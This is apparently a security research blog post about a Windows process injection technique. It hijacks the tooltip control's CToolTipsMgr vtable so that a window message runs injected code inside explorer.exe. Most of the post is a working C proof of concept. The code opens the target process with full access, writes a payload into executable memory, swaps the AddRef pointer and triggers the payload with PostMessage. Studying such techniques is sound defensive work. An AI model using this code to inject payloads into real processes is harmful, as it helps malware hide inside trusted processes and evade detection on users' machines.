Introduction

Tooltips appear automatically to a mouse pointer hovering over an element in a user interface. This helps users identify the purpose of a file, a button or menu item. These tooltips store data about itself in a structure located at index zero of the Window Bytes. The first entry in the structure is a pointer to a class object called CToolTipsMgr. There are at least five methods here, three for the IUnknown interface which CToolTipsMgr inherits from and two to control the tooltip object itself. By changing the address of a method/function pointer, it’s possible to perform process injection via a window message.

Locating Controls

Figure 1 shows the properties of a tooltip control window.

As you can see, index zero of the window bytes are set to a value. This is a heap object that contains among other things, a pointer to a class object or virtual function table at offset zero. Figure 2 shows a partial dump of the memory in Windows Debugger while figure 3 shows the methods of the class used to control the window.

The PoC doesn’t target any specific process, but since explorer.exe will likely be the first to create a Tooltip control, it’s relatively safe to assume a window belonging to that process will be returned by a call to the FindWindow API for classes named “tooltips_class32”. You could also use the EnumWindows API to find them all and target a specific process. Figure 4 shows a list of these classes found on a 64-bit version of Windows 10.

Injection

The following code demonstrates the injection works. The full version can be found here.

VOID comctrl_inject ( LPVOID payload , DWORD payloadSize ) { HWND hw = 0 ; SIZE_T rd , wr ; LPVOID ds , cs , p , ptr ; HANDLE hp ; DWORD pid ; IUnknown_VFT unk ; // 1. find a tool tip window. // read index zero of window bytes hw = FindWindow ( L" tooltips_class32 " , NULL ) ; p = ( LPVOID ) GetWindowLongPtr ( hw , 0 ) ; GetWindowThreadProcessId ( hw , & pid ) ; // 2. open the process and read CToolTipsMgr hp = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ) ; if ( hp = = NULL ) return ; ReadProcessMemory ( hp , p , & ptr , sizeof ( ULONG_PTR ) , & rd ) ; ReadProcessMemory ( hp , ptr , & unk , sizeof ( unk ) , & rd ) ; //printf("HWND : %p Heap : %p PID : %i vftable : %p

", // hw, p, pid, ptr); // 3. allocate RWX memory and write payload there. // update callback cs = VirtualAllocEx ( hp , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ; WriteProcessMemory ( hp , cs , payload , payloadSize , & wr ) ; // 4. allocate RW memory and write new CToolTipsMgr unk . AddRef = cs ; ds = VirtualAllocEx ( hp , NULL , sizeof ( unk ) , MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ) ; WriteProcessMemory ( hp , ds , & unk , sizeof ( unk ) , & wr ) ; // 5. update pointer, trigger execution WriteProcessMemory ( hp , p , & ds , sizeof ( ULONG_PTR ) , & wr ) ; PostMessage ( hw , WM_USER , 0 , 0 ) ; // sleep for moment Sleep ( 1 ) ; // 6. restore original pointer and cleanup WriteProcessMemory ( hp , p , & ptr , sizeof ( ULONG_PTR ) , & wr ) ; VirtualFreeEx ( hp , cs , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; VirtualFreeEx ( hp , ds , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; CloseHandle ( hp ) ; }

Summary

The PoC only works with Tooltip class, but there are other controls that can also be used for process injection. Tab controls, progress bars, status bars, tree views, toolbars, list views are just some other examples. The reason tooltips were used in this post is because many of them are already created by explorer.exe.